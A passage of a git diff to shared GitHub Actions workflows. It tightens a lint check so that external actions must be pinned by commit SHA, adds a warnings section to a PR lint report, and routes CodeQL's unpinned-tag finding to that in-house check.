LerianStudio/github-actions-shared-workflows/src/validate/pr-checks-summary@v1.20.0-beta.1 with: source-branch-result: ${{ needs.blocking-checks.outputs.source-branch-result || 'skipped' }} title-result: ${{ needs.blocking-checks.outputs.title-result || 'skipped' }} @@ -217,7 +217,7 @@ jobs: name: Notify needs: [blocking-checks, advisory-checks, pr-checks-summary] if: always() && github.event.pull_request.draft != true && !inputs.dry_run - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/slack-notify.yml@v1.19.1-beta.2 + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/slack-notify.yml@v1.20.0-beta.1 with: status: ${{ (needs.blocking-checks.outputs.source-branch-result == 'failure' || needs.blocking-checks.outputs.title-result == 'failure' || needs.blocking-checks.outputs.description-result == 'failure') && 'failure' || 'success' }} workflow_name: "PR Validation" diff --git a/src/lint/pinned-actions/action.yml b/src/lint/pinned-actions/action.yml index 1d11075b..b95030b8 100644 --- a/src/lint/pinned-actions/action.yml +++ b/src/lint/pinned-actions/action.yml @@ -1,5 +1,5 @@ name: Pinned Actions Check -description: Ensure external action references use final release versions (vX or vX.Y.Z); internal actions may use pre-releases with a warning. +description: Ensure external actions are pinned by commit SHA; internal actions (LerianStudio) accept any semver tag. inputs: files: @@ -7,7 +7,7 @@ inputs: required: false default: "" warn-patterns: - description: Pipe-separated org/owner prefixes to warn instead of fail (e.g. internal orgs not yet on a release tag) + description: Pipe-separated org/owner prefixes to treat as internal (warn instead of fail) required: false default: "LerianStudio/" @@ -57,28 +57,28 @@ runs: done if [ "$is_internal" = true ]; then - # Internal: final releases (vX, vX.Y.Z) pass silently; pre-releases (beta, rc) warn - if printf '%s\n' "$ref" | grep -Eq '^v[0-9]+$|^v[0-9]+\.[0-9]+\.[0-9]+$'; then + # Internal: any semver ref passes — vX, vX.Y.Z, vX.Y.Z-beta.N, vX.Y.Z-rc.N, branches like develop/main + if printf '%s\n' "$ref" | grep -Eq '^v[0-9]+(\.[0-9]+\.[0-9]+(-[a-zA-Z0-9.]+)?)?$|^(develop|main)$'; then continue fi - echo "::warning file=${file},line=${line_num}::Internal action not pinned to a final release version: $normalized" + echo "::warning file=${file},line=${line_num}::Internal action not pinned to a version: $normalized" warnings=$((warnings + 1)) else - # External: only final releases allowed — vX or vX.Y.Z (no beta, no rc) - if printf '%s\n' "$ref" | grep -Eq '^v[0-9]+$|^v[0-9]+\.[0-9]+\.[0-9]+$'; then + # External: must be a commit SHA (40 or 64 hex chars) + if printf '%s\n' "$ref" | grep -Eiq '^[0-9a-f]{40,64}$'; then continue fi - echo "::error file=${file},line=${line_num}::Unpinned action found: $normalized" + echo "::error file=${file},line=${line_num}::External action not pinned by SHA: $normalized (use full commit SHA with a # vX.Y.Z comment)" violations=$((violations + 1)) fi done < <(grep -nE '^[[:space:]]*(-[[:space:]]*)?uses:[[:space:]].*@' "$file" 2>/dev/null || true) done if [ "$warnings" -gt 0 ]; then - echo "::warning::Found $warnings internal action(s) not pinned to a release version. Consider pinning to vX.Y.Z." + echo "::warning::Found $warnings internal action(s) not pinned to a version. Consider pinning to vX.Y.Z." fi if [ "$violations" -gt 0 ]; then - echo "::error::Found $violations unpinned external action(s). Pin to a final release version (vX or vX.Y.Z)." + echo "::error::Found $violations external action(s) not pinned by commit SHA. Pin using the full SHA with a version comment (e.g., @abc123 # v6)." exit 1 fi - echo "All external actions are properly pinned." + echo "All actions are properly pinned." diff --git a/src/notify/pr-lint-reporter/action.yml b/src/notify/pr-lint-reporter/action.yml index afd81104..a2a215e0 100644 --- a/src/notify/pr-lint-reporter/action.yml +++ b/src/notify/pr-lint-reporter/action.yml @@ -74,7 +74,7 @@ runs: using: composite steps: - name: Post lint report to PR - uses: actions/github-script@v8 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 with: github-token: ${{ inputs.github-token }} script: | @@ -155,36 +155,42 @@ runs: body += `| ${c.label} | ${filesSummary(c)} | ${icon(c.result)} ${c.result} |\n`; } - // ── Failures collapse with annotations ── + // ── Fetch annotations for failures and warnings ── const failed = checks.filter(c => c.result === 'failure'); - if (failed.length > 0) { - const { data: { jobs } } = await github.rest.actions.listJobsForWorkflowRun({ - owner: context.repo.owner, - repo: context.repo.repo, - run_id: context.runId, - }); - - const jobAnnotations = {}; - for (const job of jobs) { - if (!failed.find(c => c.jobName === job.name)) continue; - try { - const annotations = await github.paginate(github.rest.checks.listAnnotations, { - owner: context.repo.owner, - repo: context.repo.repo, - check_run_id: job.id, - per_page: 100, - }); - jobAnnotations[job.name] = annotations.filter(a => a.annotation_level === 'failure'); - } catch (e) { - core.warning(`Could not fetch annotations for ${job.name}: ${e.message}`); - } + const needsAnnotations = checks.filter(c => c.result === 'failure' || c.result === 'success'); + + const { data: { jobs } } = await github.rest.actions.listJobsForWorkflowRun({ + owner: context.repo.owner, + repo: context.repo.repo, + run_id: context.runId, + }); + + const jobFailureAnnotations = {}; + const jobWarningAnnotations = {}; + for (const job of jobs) { + const check = needsAnnotations.find(c => c.jobName === job.name); + if (!check) continue; + try { + const annotations = await github.paginate(github.rest.checks.listAnnotations, { + owner: context.repo.owner, + repo: context.repo.repo, + check_run_id: job.id, + per_page: 100, + }); + jobFailureAnnotations[job.name] = annotations.filter(a => a.annotation_level === 'failure'); + jobWarningAnnotations[job.name] = annotations.filter(a => a.annotation_level === 'warning'); + } catch (e) { + core.warning(`Could not fetch annotations for ${job.name}: ${e.message}`); } + } + // ── Failures collapse ── + if (failed.length > 0) { const runUrl = `${context.serverUrl}/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}`; body += `\n
\n❌ Failures (${failed.length})\n\n`; for (const c of failed) { - const annotations = jobAnnotations[c.jobName] || []; + const annotations = jobFailureAnnotations[c.jobName] || []; body += `### ${c.label}\n\n`; if (annotations.length === 0) { @@ -192,7 +198,6 @@ runs: continue; } - // Group by file path const byFile = {}; for (const a of annotations) { const key = a.path || '__general__'; @@ -216,6 +221,39 @@ runs: body += '
\n\n'; } + // ── Warnings collapse ── + const checksWithWarnings = checks.filter(c => (jobWarningAnnotations[c.jobName] || []).length > 0); + if (checksWithWarnings.length > 0) { + const totalWarnings = checksWithWarnings.reduce((sum, c) => sum + (jobWarningAnnotations[c.jobName] || []).length, 0); + body += `
\n⚠️ Warnings (${totalWarnings})\n\n`; + + for (const c of checksWithWarnings) { + const annotations = jobWarningAnnotations[c.jobName] || []; + body += `### ${c.label}\n\n`; + + const byFile = {}; + for (const a of annotations) { + const key = a.path || '__general__'; + (byFile[key] = byFile[key] || []).push(a); + } + + for (const [file, warns] of Object.entries(byFile)) { + if (file === '__general__') { + for (const w of warns) body += `- ${w.message}\n`; + } else { + body += `**\`${file}\`**\n`; + for (const w of warns) { + const loc = w.start_line ? ` (line ${w.start_line})` : ''; + body += `- \`${file}${loc}\` — ${w.message}\n`; + } + } + body += '\n'; + } + } + + body += '
\n\n'; + } + // ── Footer ── const runUrl = `${context.serverUrl}/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}`; body += `---\n🔍 [View full scan logs](${runUrl})\n`; diff --git a/src/security/codeql-config/action.yml b/src/security/codeql-config/action.yml index 9d0f0e1e..35f65e47 100644 --- a/src/security/codeql-config/action.yml +++ b/src/security/codeql-config/action.yml @@ -51,6 +51,10 @@ runs: echo "$PATHS" | while IFS= read -r p; do echo " - '$p'" done + echo "" + echo "query-filters:" + echo " - exclude:" + echo " id: actions/unpinned-tag" } > "$CONFIG_FILE" echo "skip=false" >> "$GITHUB_OUTPUT" diff --git a/src/security/codeql-reporter/action.yml b/src/security/codeql-reporter/action.yml index 398041db..9c766141 100644 --- a/src/security/codeql-reporter/action.yml +++ b/src/security/codeql-reporter/action.yml @@ -30,7 +30,7 @@ runs: steps: - name: Post CodeQL report to PR id: report - uses: actions/github-script@v8 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 env: SARIF_PATH: ${{ inputs.sarif-path }} LANGUAGES: ${{ inputs.languages }} @@ -125,8 +125,12 @@ runs: return findings; } + // ── Filter suppressed rules ── + // unpinned-tag is handled by our own pinned-actions lint check with org-aware logic + const SUPPRESSED_RULES = ['actions/unpinned-tag']; + // ── Build Report ── - const findings = readSarifFiles(); + const findings = readSarifFiles().filter(f => !SUPPRESSED_RULES.includes(f.rule)); findingsCount = findings.length; body += `## \u{1F6E1}\uFE0F CodeQL Analysis Results\n\n`;